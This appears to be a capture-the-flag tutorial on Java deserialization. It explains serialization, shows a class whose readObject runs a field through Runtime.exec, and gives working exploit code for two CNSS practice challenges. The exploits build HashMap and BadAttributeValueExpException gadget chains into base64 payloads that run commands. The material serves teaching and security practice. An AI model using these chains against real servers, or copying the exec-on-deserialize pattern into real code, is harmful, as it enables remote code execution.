0x01 Introduction to Serialization and Deserialization in Java
Like in PHP, Java also has serialization and deserialization features. Serialization is the process of converting Java objects to byte streams, which makes it easy for the objects to transfer between programmes or store them on the disk for persistence. Deserialization on the other hand, restore the objects form byte streams.
Basic requirements for a class to be serializable:
- Implement the
java.io.Serializable
interface. - Every field in the class must be serializable.
When the requirements are met, the class can be serialized and deserialized using ObjectOutputStream
and ObjectInputStream
respectively.
Let’s take a look at an simple example:
import java.io.*;
public class example1 {
public static void main(String[] args) {
try {
// Create an object
User user = new User("admin", "password");
// Serialize the object
FileOutputStream fileOut = new FileOutputStream("user.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(user);
out.close();
fileOut.close();
// Deserialize the object
FileInputStream fileIn = new FileInputStream("user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
User newUser = (User) in.readObject();
in.close();
fileIn.close();
// Print the object
System.out.println(newUser.getUsername());
System.out.println(newUser.getPassword());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
class User implements Serializable {
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
}
And the output will be:
❯ java example1.java
admin
password
0x02 Java Deserialization Vulnerability
However, Java deserialization can be dangerous if the input is not validated properly. An attacker can craft a malicious serialized object and send it to the server, which can lead to Remote Code Execution (RCE) if the server deserializes the objects. But, how does it work?
Well, mostly it is triggered by classes with rewritten readObject
magic method for custom deserialization. Here is a simple example:
public class CodeRunner implements Serializable {
public String code;
public CodeRunner(String code) {
this.code = code;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.code);
}
Code above may assume that field code
were safe or validated by the front-end, but if the attacker can control the code
field, they can execute arbitrary code on the server.
0x03 Challenge Examples
[CNSS Practice Game] Java1
Introductory challenge to Java deserialization vulnerability. The program contains three classes: Main
, Sink
, Util
:
Main
Sink
Util
Obviously, we are going to set the cmd
field in the Sink
object to execute arbitrary command and trigger hashCode
to run Util.execCmd
for RCE.
But how can we trigger the hashCode
method? We can use the HashMap
class, which will call hashCode
method when inserting a key-value pair.
java.util.HashMap#readObject
:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
//...
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
java.util.HashMap#hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
So the chain will be: HashMap.readObject
-> HashMap.hash
-> Sink.hashCode
-> Util.execCmd
.
And here is the exploit:
package com.cnss;
import java.util.*;
import java.io.*;
public class java1_exp {
public static void main(String[] args) {
HashMap<Sink, String> map = new HashMap<>();
map.put(new Sink("ls -al"), "0xdeadbeef");
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
oos.close();
String b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(b64);
} catch (IOException e) {
e.printStackTrace();
}
}
}
class Sink implements Serializable {
private String cmd;
private static final long serialVersionUID = 5431111248416336768L;
public Sink(String cmd) {
this.cmd = cmd;
}
}
[CNSS Practice Game] Java2
Java version: 1.8.0u212
Main
and Util
are the same as the previous challenge, Sink
and Sink2
are new:
Sink
Sink2
So we need to trigger Sink.toString
-> Sink2.get("CN55")
to execute arbitrary command. But how can we trigger Sink.toString
? Well, in low version of JDK like 1.8.0 we can use BadAttributeValueExpException#readObject
to trigger toString
method of the object. For reference, the source of BadAttributeValueExpException#readObject
is:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
So the poc will be:
package com.cnss;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
import javax.management.BadAttributeValueExpException;
public class java2_exp {
public static void main(String[] args) throws Exception {
Sink2 s2 = new Sink2();
setFieldValue(s2, "cmd", "whoami");
Sink s = new Sink();
setFieldValue(s, "map", s2);
setFieldValue(s, "key", "CN55");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val", s);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(exp);
oos.close();
String b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(b64);
}
public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj,value);
}
}